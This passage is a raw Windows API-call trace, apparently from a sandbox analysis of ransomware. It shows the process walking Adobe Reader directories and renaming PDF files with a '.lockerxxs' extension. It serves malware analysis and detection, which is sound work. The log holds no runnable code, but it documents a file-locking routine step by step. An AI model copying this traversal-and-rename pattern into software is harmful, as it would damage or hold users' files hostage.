lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.878] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.878] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.878] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.886] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.886] CloseHandle (hObject=0x98) returned 1 [0070.887] lstrcmpA (lpString1=".", lpString2="tr_TR") returned -1 [0070.887] lstrcmpA (lpString1="..", lpString2="tr_TR") returned -1 [0070.887] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.891] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.891] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.891] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.893] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.893] CloseHandle (hObject=0x94) returned 1 [0070.896] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.896] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.896] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.904] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.904] CloseHandle (hObject=0x98) returned 1 [0070.905] lstrcmpA (lpString1=".", lpString2="uk_UA") returned -1 [0070.905] lstrcmpA (lpString1="..", lpString2="uk_UA") returned -1 [0070.905] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.910] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.910] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.910] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.913] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.913] CloseHandle (hObject=0x94) returned 1 [0070.915] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.915] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.916] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.916] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.916] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.916] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.922] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.922] CloseHandle (hObject=0x98) returned 1 [0070.923] lstrcmpA (lpString1=".", lpString2="zh_CN") returned -1 [0070.923] lstrcmpA (lpString1="..", lpString2="zh_CN") returned -1 [0070.923] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.928] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.928] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.933] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.941] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.950] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0071.009] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf.lockerxxs")) returned 1 [0071.011] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501588, cFileName=".", cAlternateFileName="")) returned 0x502618 [0071.015] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0071.018] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f70bc, cFileName=".", cAlternateFileName="")) returned 0x502698 [0071.026] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0071.028] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0071.031] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.042] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf.lockerxxs")) returned 1 [0071.048] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf.lockerxxs")) returned 1 [0071.054] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf.lockerxxs")) returned 1 [0071.059] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf.lockerxxs")) returned 1 [0071.067] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf.lockerxxs")) returned 1 [0071.101] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf.lockerxxs")) returned 1 [0071.102] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.116] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf.lockerxxs")) returned 1 [0071.122] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf.lockerxxs")) returned 1 [0071.128] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf.lockerxxs")) returned 1 [0071.143] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf.lockerxxs")) returned 1 [0071.145] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.158] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf.lockerxxs")) returned 1 [0071.165] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf.lockerxxs")) returned 1 [0071.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf.lockerxxs")) returned 1 [0071.213] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf.lockerxxs")) returned 1 [0071.225] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.546] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf.lockerxxs")) returned 1 [0071.551] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf.lockerxxs")) returned 1 [0071.556] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf.lockerxxs")) returned 1 [0071.568] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf.lockerxxs")) returned 1 [0071.674] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf.lockerxxs")) returned 1 [0071.691] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf.lockerxxs")) returned 1 [0071.693] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0071.709] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\Program Files 